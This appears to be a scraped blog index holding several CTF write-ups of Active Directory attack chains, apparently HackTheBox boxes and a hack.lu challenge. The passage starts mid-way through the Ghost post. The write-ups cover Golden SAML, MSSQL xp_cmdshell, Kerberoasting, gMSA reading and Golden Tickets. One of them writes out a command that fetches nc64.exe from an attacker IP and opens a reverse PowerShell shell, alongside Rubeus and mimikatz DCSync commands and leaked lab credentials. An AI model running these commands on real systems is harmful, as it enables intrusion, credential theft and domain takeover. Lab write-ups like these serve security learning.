it\u0026rsquo;s valid using the hash only.\nSo we\u0026rsquo;ve got the creds for adfs_gmsa$:48d391a3e1a9f83334f9e4b4cfdc5e42, and it\u0026rsquo;s valid.\nGolden SAML Now we need to figure out the next step, what can the gMSA do? The account is adfs_gmsa, so it\u0026rsquo;s the account for Active Directory Federation Services, which manages the passwords for that service. ADFS is Microsoft\u0026rsquo;s SSO that issues SAML tokens for users so other services can trust them. So if I have the certificate signature I can forge a SAML token for whatever user I want, a Golden SAML, the equivalent of a Golden Ticket. The certificate lives in the ADFS config DB and the key to decrypt it lives in the AD, and the account with access to both is adfs_gmsa, which we just compromised.\nSo to craft a Golden SAML the ingredients I need are the token signing certificate (inside the ADFS config DB) and a DKM key. After some research I found ADFSDump.exe, which dumps everything we need. Since we have a shell as adfs_gmsa, we can run it there.\nThere\u0026rsquo;s the token signing key and the DKM key. With these I can forge the ADFS token, so I found ADFSpoof.\nI forged a Golden SAML. Now I need the endpoint to feed it. Recalling from earlier, the sign-in endpoint is https://core.ghost.htb:8443/adfs/saml/postResponse, so I used that.\nAnd back on the webpage, we\u0026rsquo;re in.\nMSSQL linked server → RCE It\u0026rsquo;s a page where I can run MSSQL queries, and look, there\u0026rsquo;s another domain there called corp.ghost.htb, interesting. First let\u0026rsquo;s see what we can do with MSSQL. I started with basic recon to see what privileges I have over the database.\nSELECT SYSTEM_USER, IS_SRVROLEMEMBER(\u0026#39;sysadmin\u0026#39;); Not much, so I started enumerating to see if I have any linked servers.\nSELECT name, product, provider, data_source FROM sys.servers; I do have two, DC01 and PRIMARY. So I checked which privileges I have over PRIMARY.\nSELECT * FROM OPENQUERY(\u0026#34;PRIMARY\u0026#34;, \u0026#39;SELECT SYSTEM_USER AS login, IS_SRVROLEMEMBER(\u0026#39;\u0026#39;sysadmin\u0026#39;\u0026#39;) AS is_sa\u0026#39;); I found a login there, bridge_corp, let\u0026rsquo;s keep going.\nSELECT * FROM OPENQUERY(\u0026#34;PRIMARY\u0026#34;, \u0026#39;SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN (\u0026#39;\u0026#39;S\u0026#39;\u0026#39;,\u0026#39;\u0026#39;U\u0026#39;\u0026#39;,\u0026#39;\u0026#39;G\u0026#39;\u0026#39;)\u0026#39;); So there\u0026rsquo;s a login for sa, a potential one to impersonate.\nEXEC (\u0026#39;EXECUTE AS LOGIN = \u0026#39;\u0026#39;sa\u0026#39;\u0026#39;; SELECT SYSTEM_USER AS login, IS_SRVROLEMEMBER(\u0026#39;\u0026#39;sysadmin\u0026#39;\u0026#39;) AS is_sa;\u0026#39;) AT [PRIMARY]; That\u0026rsquo;s what I did, then I enabled xp_cmdshell and confirmed.\nEXEC (\u0026#39;EXECUTE AS LOGIN = \u0026#39;\u0026#39;sa\u0026#39;\u0026#39;; EXEC sp_configure \u0026#39;\u0026#39;show advanced options\u0026#39;\u0026#39;, 1; RECONFIGURE; EXEC sp_configure \u0026#39;\u0026#39;xp_cmdshell\u0026#39;\u0026#39;, 1; RECONFIGURE;\u0026#39;) AT [PRIMARY]; EXEC (\u0026#39;EXECUTE AS LOGIN = \u0026#39;\u0026#39;sa\u0026#39;\u0026#39;; EXEC xp_cmdshell \u0026#39;\u0026#39;whoami\u0026#39;\u0026#39;;\u0026#39;) AT [PRIMARY]; RCE confirmed. Let\u0026rsquo;s go for a reverse shell on the target:\nEXEC (\u0026#39;EXECUTE AS LOGIN = \u0026#39;\u0026#39;sa\u0026#39;\u0026#39;; EXEC xp_cmdshell \u0026#39;\u0026#39;curl.exe http://10.10.16.100/nc64.exe -o C:\\windows\\temp\\nc64.exe \u0026amp; C:\\windows\\temp\\nc64.exe -e powershell 10.10.16.100 9001\u0026#39;\u0026#39;\u0026#39;) AT [PRIMARY]; I had to do it as a one-liner because for some reason I wasn\u0026rsquo;t getting a shell after uploading nc64.exe separately, so I solved it like this. Don\u0026rsquo;t know exactly why, but it worked.\nSeImpersonate → SYSTEM on corp So we\u0026rsquo;re in as nt service\\mssqlserver. Now we need to elevate, so I ran whoami /priv.\nAnd there\u0026rsquo;s a quick win, we have SeImpersonatePrivilege. I found EfsPotato and transferred it over. I tried temp first but no luck, so I used Users\\Public. Then I needed to compile it:\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /unsafe /platform:x64 -out:C:\\Users\\Public\\ep.exe C:\\Users\\Public\\ep.cs And with the executable ready I popped a reverse shell, this time a privileged one.\nAnd here\u0026rsquo;s the shell landing on my netcat listener.\nGot nt authority\\system. Let\u0026rsquo;s see what we can do now. I went for the flag expecting it to be there, but it wasn\u0026rsquo;t, so there\u0026rsquo;s more to do. After dumping stuff and trying a lot of things I was about to give up, but then I remembered: this is 2 domains, I\u0026rsquo;m DA on corp.ghost.htb which is a subdomain of ghost.htb, so maybe the flag is on the ghost.htb domain and I can craft a Golden Ticket to reach the other domain through the trust. So I transferred mimikatz over and dumped the NTLM and the SID of corp.\nGolden Ticket across the trust With that I have everything to forge a Golden Ticket. I grabbed the SID of ghost.htb from the BloodHound results and transferred Rubeus to forge it:\nC:\\windows\\temp\\r.exe golden /aes256:b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d /user:Administrator /domain:corp.ghost.htb /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /ptt To confirm we got access to DC01.ghost.htb, I listed the Administrator desktop.\nAnd grabbed the root flag:\n2a406d4a55c303dd4e1ad2f7f523ff7d If we want a real shell as admin we can just DCSync with the injected ticket:\nlsadump::dcsync /domain:ghost.htb /dc:DC01.ghost.htb /user:S-1-5-21-4084500788-938703357-3654145966-500 Grabbed the admin hash 1cdb17d5c14ff69e7067cffcc9e470bd and used evil-winrm to log in as admin on DC01.ghost.htb.\nAnd there we go, a shell as DA on the Ghost DC.\nKill chain summary Phase Vector Result Recon subdomain enum (core/federation/intranet/gitea) ADFS + intranet + Gitea surface Foothold boolean LDAP injection on the intranet login as kathryn.holland, then brute gitea_temp_principal Pivot Ghost CMS path traversal → /proc/self/environ DEV_INTRANET_KEY Shell command injection on /api-dev/scan root in a Linux container Domain container env LDAP_BIND_PASSWORD intranet_principal (domain user) Lateral cached ticket (florence) + DNS coerce + Responder crack justin.bradley (user.txt) ADFS justin reads gMSA → Golden SAML MSSQL console on core RCE MSSQL linked server → impersonate sa → xp_cmdshell shell on PRIMARY SYSTEM SeImpersonate + EfsPotato SYSTEM / DA on corp.ghost.htb Root cross-domain Golden Ticket + DCSync Administrator on ghost.htb (root.txt) ","permalink":"https://ctf-hallllow.blog/posts/ghost/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Ghost box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Insane-blueviolet?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - A long one. A boolean LDAP injection on the intranet lets me log in as \u003ccode\u003ekathryn.holland\u003c/code\u003e with \u003ccode\u003e*\u003c/code\u003e/\u003ccode\u003e*\u003c/code\u003e, then brute-force the password of \u003ccode\u003egitea_temp_principal\u003c/code\u003e. Inside Gitea the Ghost CMS repo has a path traversal that reads \u003ccode\u003e/proc/self/environ\u003c/code\u003e for the \u003ccode\u003eDEV_INTRANET_KEY\u003c/code\u003e, and the dev API behind that key has a command injection, which gives me a shell in a Linux container running as root. Its env leaks \u003ccode\u003eintranet_principal\u003c/code\u003e, a real domain account. From there it is all AD: kerberoast \u003ccode\u003eadfs_gmsa\u003c/code\u003e, grab a cached Kerberos ticket for \u003ccode\u003eflorence.ramirez\u003c/code\u003e, coerce \u003ccode\u003ejustin.bradley\u003c/code\u003e with a fake DNS record plus Responder and crack his hash (user.txt). \u003ccode\u003ejustin\u003c/code\u003e can read the \u003ccode\u003eadfs_gmsa\u003c/code\u003e gMSA password, so I forge a Golden SAML to log into the ADFS-protected MSSQL console, pivot through a linked server to \u003ccode\u003ePRIMARY\u003c/code\u003e, impersonate \u003ccode\u003esa\u003c/code\u003e for RCE, abuse \u003ccode\u003eSeImpersonate\u003c/code\u003e to get SYSTEM on \u003ccode\u003ecorp.ghost.htb\u003c/code\u003e, and finally forge a cross-domain Golden Ticket to own \u003ccode\u003eghost.htb\u003c/code\u003e and grab root.txt.\u003c/p\u003e","title":"HTB - Ghost"},{"content":" TL;DR - A WordPress site vulnerable to CVE-2022-0739 (a BookingPress SQL injection) dumps the manager and admin hashes. Cracking manager gives partylikearockstar and a wp-admin login. From there, CVE-2021-29447 (a WordPress media XXE) lets me read files off the box, including wp-config.php, which has the DB and FTP creds inside. On the FTP share there\u0026rsquo;s a send_email.php with jnelson\u0026rsquo;s password in plaintext, and that same password works over SSH (user.txt). For root, a hidden .passpie keyring holds GPG keys, so I crack the passphrase with John, unlock passpie, and export the vault to get the root password (root.txt).\nRecon Like always, I started with a full nmap scan:\nnmap -sV -sC -p- 10.129.80.192 -oA nmap/metatwo Three ports open. I started with the FTP one on 21 and tried anonymous access, but no luck, so I moved on to port 80.\nIn the browser it looked like a simple WordPress site, so I ran wpscan to see if I could catch something. It told me the install was vulnerable to CVE-2022-0739, a SQL injection in the BookingPress plugin, so I grabbed a PoC and ran it against it.\nSweet, I got two hashes, one for manager and one for admin. I tried to crack both offline but only manager cracked.\nSo now I had creds, manager:partylikearockstar. Off to the wp-admin page to log in, and I was in.\nFile read via XXE (CVE-2021-29447) Inside the manager account I saw it didn\u0026rsquo;t have admin rights. But I already knew the WordPress version from the wpscan earlier (5.6.2), so I went looking for CVEs on that version and found CVE-2021-29447, an XXE in the media library that lets you read files off the machine. I found a PoC online and tried it out, starting with /etc/passwd.\nAnd it worked. Now that I could read files from the server, I wanted something useful, maybe the WordPress php config. After some trial and error guessing the path, I found wp-config.php at /var/www/metapress.htb/blog/wp-config.php.\nInside were MySQL creds for blog:635Aq@TdqrCwXFUZ and FTP creds for metapress.htb:9NYS_ii@FyL_p5M2NvJ (on ftp.metapress.htb). FTP was open and I had valid creds now, so I figured that was the next step.\nFTP and SSH as jnelson And we\u0026rsquo;re in. After digging around the FTP share for a bit, I found a file called send_email.php with some creds sitting right there in plaintext.\nThat gave me jnelson:Cb4_JmWM8zUZWMu@Ys, so I tried logging in over SSH.\nAnd we\u0026rsquo;re in as jnelson.\nGot the user flag, 5acd8a600fc1d76f7170266769266066.\nPrivilege escalation (passpie) Next was getting root. The first thing I usually do is sudo -l for a quick win, but no luck this time. So I kept digging, and an ls -la turned up a hidden file.\nA .passpie directory, which isn\u0026rsquo;t something you see every day, so I looked into what it was. Turns out passpie is a password manager for the CLI. Inside there was a hidden .keys folder where it keeps its keys, and there were two keys in there.\nI passed those to john and cracked them.\nThat got me blink182, the passpie master password. With it I used passpie to export the stored passwords.\nAnd there it was, the root password, root:p7qfAZt4_A1xo_0x. So let\u0026rsquo;s log in as root.\nAnd we\u0026rsquo;re in as root. Got the flag, 083c84b7976c26f1f01b55b9327b9060.\nKill chain summary Phase Vector Result Recon nmap: FTP / SSH / WordPress on 80 attack surface Foothold BookingPress SQLi (CVE-2022-0739) manager:partylikearockstar, wp-admin File read WordPress media XXE (CVE-2021-29447) wp-config.php, DB + FTP creds Lateral FTP send_email.php plaintext creds jnelson over SSH (user.txt) Root crack passpie GPG keyring, export vault root:p7qfAZt4_A1xo_0x (root.txt) ","permalink":"https://ctf-hallllow.blog/posts/metatwo/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"MetaTwo box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Linux-E95420?style=flat\u0026logo=linux\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Easy-brightgreen?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - A WordPress site vulnerable to CVE-2022-0739 (a BookingPress SQL injection) dumps the \u003ccode\u003emanager\u003c/code\u003e and \u003ccode\u003eadmin\u003c/code\u003e hashes. Cracking \u003ccode\u003emanager\u003c/code\u003e gives \u003ccode\u003epartylikearockstar\u003c/code\u003e and a wp-admin login. From there, CVE-2021-29447 (a WordPress media XXE) lets me read files off the box, including \u003ccode\u003ewp-config.php\u003c/code\u003e, which has the DB and FTP creds inside. On the FTP share there\u0026rsquo;s a \u003ccode\u003esend_email.php\u003c/code\u003e with \u003ccode\u003ejnelson\u003c/code\u003e\u0026rsquo;s password in plaintext, and that same password works over SSH (user.txt). For root, a hidden \u003ccode\u003e.passpie\u003c/code\u003e keyring holds GPG keys, so I crack the passphrase with John, unlock passpie, and export the vault to get the root password (root.txt).\u003c/p\u003e","title":"HTB - MetaTwo"},{"content":" TL;DR — Port 8443 runs PWM, a self-service password portal, and SMB allows anonymous/guest access. That guest read on the Development share exposes Ansible automation whose PWM role holds ansible-vault encrypted secrets. Cracking the vault (ansible2john + john) and decrypting it gives the PWM admin svc_pwm:pWm_@dm!N_!23. Inside PWM I point the LDAP profile at a rogue server (plain ldap://389) and Responder captures svc_ldap:lDaP_1n_th3_cle4r! in cleartext — a WinRM user (user.txt). Finally, ADCS (the CorpVPN / ESC1 template) plus an LDAP shell adding my user to Domain Admins lands Administrator and root.txt.\nRecon As always, I kicked things off with a full nmap scan against the target:\nnmap -sV -p- -oN nmap/auth 10.129.229.56 My usual next move is a null session on SMB, but no luck this time. Port 80 was just a default IIS landing page, nothing interesting there either. The port that caught my eye was 8443, so I opened it up:\nAfter a bit of digging, this turned out to be PWM — a self-service password portal that lets users on a corporate network reset their own passwords (you can check the project here). Whenever I run into an open-source app like this, the first thing I do is look for a known vulnerability. Unfortunately for me (but fortunately for the maintainers), PWM was clean. What I did notice was a username left lying around on the page: svc_pwm.\nFoothold — anonymous SMB and an open share Maybe svc_pwm was a valid domain account, so I threw it at nxc with an empty password to find out:\nAt first glance it looks like a hit — but notice the (Guest) tag and Null Auth: True. That\u0026rsquo;s the giveaway: this isn\u0026rsquo;t svc_pwm authenticating, the login is just falling back to the Guest account. In other words, SMB allows anonymous access and the username I pass doesn\u0026rsquo;t really matter. Either way, guest is enough to enumerate the shares:\nAnd we can. Besides the usual defaults, two shares stood out: Development and Department Shares. I only had read access to Development, so that\u0026rsquo;s where I went. There were a lot of files in there, so I pulled everything down to my machine to go through it more comfortably. The whole share was basically Ansible automation to stand up an AD environment — ADCS, a web server (PWM), an LDAP server and a file share.\nIn /Automation/Ansible/ADCS/defaults/main.yml I thought I\u0026rsquo;d struck gold — what looked like an admin credential:\nI read it as admin:S3creT (stitched together from ca_email_address: admin@authority.htb and a passphrase: S3creT line) and tried it with netexec:\n\u0026hellip;and I walked straight into a trap. Look closely: (Guest) again. Those were never valid creds — nxc was just falling back to the guest session, so it lights up [+] for literally anything. And the S3creT I grabbed was sitting in a commented-out example block; the only real value there is the CA key passphrase (ca_passphrase: SuP3rS3creT), not a login. So of course it did nothing useful — I couldn\u0026rsquo;t read anything new and certipy led nowhere. Lesson re-learned: always check for that (Guest) tag before you get excited.\nThe real foothold was elsewhere. Inside PWM/defaults/main.yml there was another main.yml, this time with ansible-vault encrypted passwords:\nCracking the Ansible vault The encrypted values belonged to pwm_admin_login (and friends), so I used ansible2john to turn the vault blob into a crackable hash:\nThen I let John do its thing:\nWith the vault password in hand, I went back to that main.yml and ran ansible-vault decrypt to pull out the secrets inside:\nOut came the real credentials: pwm_admin_login: svc_pwm, pwm_admin_password: pWm_@dm!N_!23 and ldap_admin_password: DevT3st@123. I tried the passwords against the users I already knew with netexec, but nothing popped as a login. So I went back to the PWM web portal and signed in as the admin, svc_pwm:pWm_@dm!N_!23 — and just like that, I was in:\nRogue LDAP → svc_ldap in cleartext Nothing in the portal looked immediately useful, but poking around I found an LDAP section with a Connection profile where I could change the LDAP URL:\nInteresting. If I point that URL at a rogue server I control and hit Test LDAP Profile, PWM will try to bind to it — and hand me the configured user\u0026rsquo;s credentials in cleartext. To catch them, I fired up Responder on my attack box:\nThen I set the URL to my IP and clicked Test LDAP Profile. One important detail: to get the password in cleartext you have to use plain ldap, not ldaps — so port 389, not 636:\nBack to my terminal:\nAnd there they were: svc_ldap:lDaP_1n_th3_cle4r!. Let\u0026rsquo;s validate them with nxc:\nValid — and this time the real deal, so I went straight for WinRM. Earlier, one of the files on the SMB share was a todo.md noting they still had to change svc_ldap\u0026rsquo;s default WinRM password, which is exactly why I tried it. Pwned. Time to grab the first flag:\nuser.txt User flag: 9dd916ddf1124630b922bf510ae68a85.\nPrivilege Escalation — ADCS Next up: NT AUTHORITY\\SYSTEM. I could\u0026rsquo;ve run BloodHound to hunt for interesting ACLs, but the box had been nudging me towards ADCS the whole time — that Ansible share made it pretty obvious — so I went straight to certipy:\nThere were a few certificate templates lying around, but the interesting one was CorpVPN, flagged as ESC1. I could request a certificate from that template — but as you can see on the template itself, only computers are allowed to enroll. So first I used impacket-addcomputer to create a fake machine account:\nThen I requested a certificate as that computer:\nThat threw a login error on authentication. Rather than fight it, I popped an LDAP shell and simply added my user to the Domain Admins group (I could\u0026rsquo;ve gone with something like PassTheCert, but I wanted to try a different route — ehehe):\nThen I logged back in as svc_ldap, now a Domain Admin, walked over to the Administrator\u0026rsquo;s desktop and grabbed the flag:\nroot.txt Root flag: 5518145d50d79944022ce67ae8409e7e — and as you can see, I\u0026rsquo;m now part of the Domain Admins group.\nKill chain summary Phase Vector Result Recon PWM portal on 8443, SMB with Null Auth anonymous/guest access Foothold guest read on the Development share Ansible automation (PWM role) Creds ansible2john + John on an ansible-vault blob PWM admin svc_pwm:pWm_@dm!N_!23 Lateral rogue LDAP profile + Responder svc_ldap in cleartext → WinRM (user.txt) Root ADCS CorpVPN / ESC1 + LDAP shell → Domain Admins Administrator (root.txt) ","permalink":"https://ctf-hallllow.blog/posts/authority/","summary":"\u003cp style=\"text-align:center\"\u003e\n  \u003cimg src=\"featured.png\" alt=\"Authority box\" width=\"250\"\u003e\n\u003c/p\u003e\n\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Platform-HackTheBox-9FEF00?style=flat\u0026logo=hackthebox\u0026logoColor=black\" alt=\"Platform\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Difficulty-Medium-orange?style=flat\" alt=\"Difficulty\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e — Port \u003ccode\u003e8443\u003c/code\u003e runs \u003cstrong\u003ePWM\u003c/strong\u003e, a self-service password portal, and SMB allows \u003cstrong\u003eanonymous/guest\u003c/strong\u003e access. That guest read on the \u003ccode\u003eDevelopment\u003c/code\u003e share exposes \u003cstrong\u003eAnsible\u003c/strong\u003e automation whose PWM role holds \u003cstrong\u003eansible-vault\u003c/strong\u003e encrypted secrets. Cracking the vault (\u003ccode\u003eansible2john\u003c/code\u003e + \u003ccode\u003ejohn\u003c/code\u003e) and decrypting it gives the PWM admin \u003ccode\u003esvc_pwm:pWm_@dm!N_!23\u003c/code\u003e. Inside PWM I point the \u003cstrong\u003eLDAP profile at a rogue server\u003c/strong\u003e (plain \u003ccode\u003eldap://389\u003c/code\u003e) and \u003cstrong\u003eResponder\u003c/strong\u003e captures \u003ccode\u003esvc_ldap:lDaP_1n_th3_cle4r!\u003c/code\u003e in cleartext — a WinRM user (\u003cstrong\u003euser.txt\u003c/strong\u003e). Finally, \u003cstrong\u003eADCS\u003c/strong\u003e (the \u003ccode\u003eCorpVPN\u003c/code\u003e / ESC1 template) plus an \u003cstrong\u003eLDAP shell\u003c/strong\u003e adding my user to \u003cstrong\u003eDomain Admins\u003c/strong\u003e lands Administrator and \u003cstrong\u003eroot.txt\u003c/strong\u003e.\u003c/p\u003e","title":"HTB - Authority"},{"content":" TL;DR - A single forest with two domains in a parent-child trust (old.velocity.hacklu migrated into velocity.hacklu). A leftover svc_test (password = username) and a Kerberoasted svc_granite_sync:Granite00 give a foothold on the old DC. The parent has NTLM disabled, so I cross the within-forest trust with a Kerberos TGT, read the svc_backup_gmsa managed password, and use it to reach the Backup$ share holding an NTDS.dit export. secretsdump yields the old krbtgt, and a Golden Ticket forged with the AES key plus the parent\u0026rsquo;s Enterprise Admins SID in SID History (no SID filtering within a forest) escalates from Domain Admin on the child to Enterprise Admin across the entire forest.\nEnvironment IP Host 10.244.0.10 DC-NEW: velocity.hacklu (parent) 10.244.0.20 DC-OLD: old.velocity.hacklu (child) This is a single forest with two domains in a parent-child relationship. The old company (old.velocity.hacklu) was migrated into the parent domain (velocity.hacklu), and a bidirectional, within-forest trust connects them.\n1. Initial Enumeration I started with an enumeration of the IPs present on the network and found two of them: 10.244.0.10 and 10.244.0.20. After that I ran an nmap scan against both. Here are the results for 10.244.0.20:\nAnd for 10.244.0.10:\nFrom this basic recon it looked like a migration from one place to another, as the names imply with new and old. So I started on the old target.\nI began by enumerating users on the old DC to get the lay of the land, number of users, account names, and descriptions.\nThe svc_test account looked like a temporary/leftover account. These are often set up lazily, so my first guess was that the password equals the username, a classic.\nAnd yes, same password as the username, easy win. I tried listing the shares with it but there was nothing useful, only the defaults. So I moved on to BloodHound to map the users and get a broader overview of the infrastructure.\n2. Kerberoasting → First Solid Credentials BloodHound didn\u0026rsquo;t surface anything actionable from the accounts I controlled. So I ran a Kerberoasting attack against all the users and pulled a hash for svc_granite_sync.\nI saved it and cracked it offline.\nFirst real credentials: svc_granite_sync:Granite00. I like to be sure, so I validated them.\n3. Crossing the Trust (NTLM disabled on the parent) Since svc_granite_sync is a backup/sync account, from what I could tell, used to help migrate from one domain to the other, I tried using the credentials against the other DC (the parent, .10).\nNo success, but look closely at the error. It\u0026rsquo;s not a \u0026ldquo;wrong credentials\u0026rdquo; error, it\u0026rsquo;s STATUS_NOT_SUPPORTED. That means the credentials could well be valid; the parent DC simply has NTLM disabled and only accepts Kerberos authentication. So I requested a TGT to authenticate instead.\nIt worked. What we did here: we requested a TGT in old.velocity.hacklu with the credentials we had, and used that TGT against velocity.hacklu, because the parent side won\u0026rsquo;t accept raw credentials (NTLM) but will accept Kerberos tickets. This works because it\u0026rsquo;s a single forest with two domains in a parent-child trust, the child\u0026rsquo;s TGT is accepted by the parent via a referral across the trust.\nTo be sure about the exact relationship (and not just guess from the names), I queried the trustedDomain object from the old DC:\nA few values worth noting here: trustDirection = 3 means the trust is bidirectional, trustPartner points at velocity.hacklu, and trustAttributes = 32 (0x20 = WITHIN_FOREST) confirms both domains live in the same forest rather than being two separate forests. Good to have this nailed down now, it comes back into play once I have something worth replaying across the trust.\n4. Enumerating the Parent → Finding the gMSA With authenticated access to the parent, I started enumerating. First, the shares.\nInteresting, there\u0026rsquo;s a Backup$ share, but we don\u0026rsquo;t have permission to read it yet. I couldn\u0026rsquo;t get BloodHound to run cleanly against the parent, so I took a step back and enumerated all the accounts manually, and found this one.\nsvc_backup_gmsa, almost certainly the account tied to that Backup$ share we couldn\u0026rsquo;t reach. A gMSA (Group Managed Service Account) is an account whose password is managed and generated by Active Directory itself. The catch is that any principal listed in its msDS-GroupMSAMembership / PrincipalsAllowedToRetrieveManagedPassword attribute can read that managed password (NT hash) straight out of the directory. So the question became: can the identity I already have actually read it? Only one way to find out, I just tried to dump it.\nWith svc_granite_sync, I ran nxc ldap 10.244.0.10 --use-kcache -k --gmsa and it handed me the NTLM hash and the AES keys.\nNow we have the NT hash of the gMSA.\n5. gMSA → Backup$ → NTDS.dit With the gMSA\u0026rsquo;s NT hash, I requested a TGT as the gMSA.\nBoom, we\u0026rsquo;re in. We now have access to the Backup$ share.\nListing the share reveals a lot of interesting files, most importantly NTDS.dit, almost certainly a backup/export of the OLD domain\u0026rsquo;s AD. I downloaded NTDS.dit (and SYSTEM) with netexec\u0026rsquo;s spider_plus, then ran impacket-secretsdump against them locally.\nAnd there they are, the password hashes for every user, from both the old domain (old.velocity.hacklu) and the new one (velocity.hacklu), including the krbtgt of the old domain.\n6. Golden Ticket + SID History → Jumping to the Forest Once you have the krbtgt hash, the next step is almost always a Golden Ticket. But there\u0026rsquo;s a bit more to it than just logging into the old domain, which I already own from the dump anyway. This is where the trust from earlier pays off: because it\u0026rsquo;s within-forest (trustAttributes = 32), there\u0026rsquo;s no SID filtering between the two domains. SID filtering is what normally strips foreign SIDs out of a ticket when it crosses a trust boundary, and it only kicks in across separate forests. So I can forge a ticket in the child, stuff the parent\u0026rsquo;s Enterprise Admins SID into it via SID History, replay it across the trust, and the parent will honor it. That\u0026rsquo;s the plan.\nFirst I did a lookup on the SID and filtered for the Domain SID:\nThen I filtered the dump just for krbtgt to grab the keys I needed:\nSmall but important detail: I forge the ticket with the AES256 key, not the NT hash. On these modern Server 2022 DCs, forging with the NT hash produces an RC4 ticket that gets rejected with a misleading KDC_ERR_TGT_REVOKED, the error looks like the ticket was revoked, but the real issue is on the encryption/PAC-validation side. Switching to -aesKey fixed it. I actually found this the hard way, since I tried the NT hash first.\nSo I forged the Golden Ticket for the OLD domain first, specifying the domain SID, the OLD krbtgt AES key, the -extra-sid of the parent\u0026rsquo;s Enterprise Admins (\u0026lt;parent-SID\u0026gt;-519), and the target user Administrator:\nThen I validated that the ticket actually works against the old DC:\nPwn3d! on DC-OLD, the ticket is good. Now to use it across the trust, the parent is a different realm and Kerberos-only, so I set up /etc/krb5.conf to know both realms. This lets Impacket/netexec resolve the inter-realm referral on its own:\nThen I dropped into a shell on the old DC, and sitting on the Administrator\u0026rsquo;s desktop was the first half of the flag:\nWhich obviously made me think the other half had to be on the new DC.\nSo first I confirmed the ticket was valid against the parent with nxc:\nPwn3d! on DC-NEW, Enterprise Admin across the whole forest. Then I got a shell on the box and grabbed the rest of the flag:\nPutting the two halves together gives the full flag:\nflag{m0v3_f4st_br34k_th3_f0r3st_89a71f9g} Attack Chain Summary svc_test (user = pass) + svc_granite_sync (kerberoast → crack) │ ▼ within-forest trust (trustAttributes=32), parent is Kerberos-only TGT in OLD ──referral──▶ authenticated on the parent │ ▼ read gMSA managed password svc_backup_gmsa$ NT hash ──▶ TGT as gMSA ──▶ Backup$ access │ ▼ NTDS.dit + SYSTEM (OLD AD export) ──secretsdump──▶ OLD krbtgt │ ▼ Golden Ticket (AES) + extra-sid \u0026lt;parent\u0026gt;-519 (Enterprise Admins) DA on OLD ──inter-realm──▶ Enterprise Admin on the whole forest ","permalink":"https://ctf-hallllow.blog/posts/ma/","summary":"\u003cp\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Event-hack.lu%20CTF-6f42c1?style=flat\" alt=\"Event\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/OS-Windows-0078D6?style=flat\u0026logo=windows\u0026logoColor=white\" alt=\"OS\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Category-Active%20Directory-blue?style=flat\" alt=\"Category\"\u003e\n\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eTL;DR\u003c/strong\u003e - A single forest with two domains in a parent-child trust (\u003ccode\u003eold.velocity.hacklu\u003c/code\u003e migrated into \u003ccode\u003evelocity.hacklu\u003c/code\u003e). A leftover \u003ccode\u003esvc_test\u003c/code\u003e (password = username) and a Kerberoasted \u003ccode\u003esvc_granite_sync:Granite00\u003c/code\u003e give a foothold on the old DC. The parent has NTLM disabled, so I cross the within-forest trust with a Kerberos TGT, read the \u003ccode\u003esvc_backup_gmsa\u003c/code\u003e managed password, and use it to reach the \u003ccode\u003eBackup$\u003c/code\u003e share holding an \u003ccode\u003eNTDS.dit\u003c/code\u003e export. \u003ccode\u003esecretsdump\u003c/code\u003e yields the old \u003ccode\u003ekrbtgt\u003c/code\u003e, and a Golden Ticket forged with the AES key plus the parent\u0026rsquo;s Enterprise Admins SID in SID History (no SID filtering within a forest) escalates from Domain Admin on the child to Enterprise Admin across the entire forest.\u003c/p\u003e","title":"hack.lu - MA"},{"content":" TL;DR - Null-auth SMB on the member server exposes the WDS REMINST share, whose unattend XML leaks svc_deploy:D3pl0y!_AgileCorp (base64 with the classic trailing Password quirk). BloodHound shows svc_deploy has GenericWrite over the SRV-BASELINE GPO, so pyGPOAbuse drops an immediate scheduled task that gives SYSTEM / local admin on SRV. Looting SRV yields the SRV$ machine hash and an email revealing the DC pulls WSUS updates over HTTPS. I hijack the WSUS DNS record (insecure dynamic update) to point at SRV, mint a legitimate ADCS WebServer cert for the WSUS name, and stand up a rogue WSUS (pyWSUS + socat TLS + a Ligolo pivot) that serves a Microsoft-signed PsExec as a SYSTEM \u0026lsquo;update\u0026rsquo; - landing local admin on the DC, then DCSync for full domain compromise.\u0026quot;\nEnvironment IP Host Role 10.244.0.10 DC - agile-corp.hacklu Domain Controller 10.244.0.20 SRV Member server (SMB) 172.16.10.10 wsus.agile-corp.hacklu WSUS server (isolated network) 1. Initial Enumeration An nmap scan showed two live hosts on the network, 10.244.0.10 and 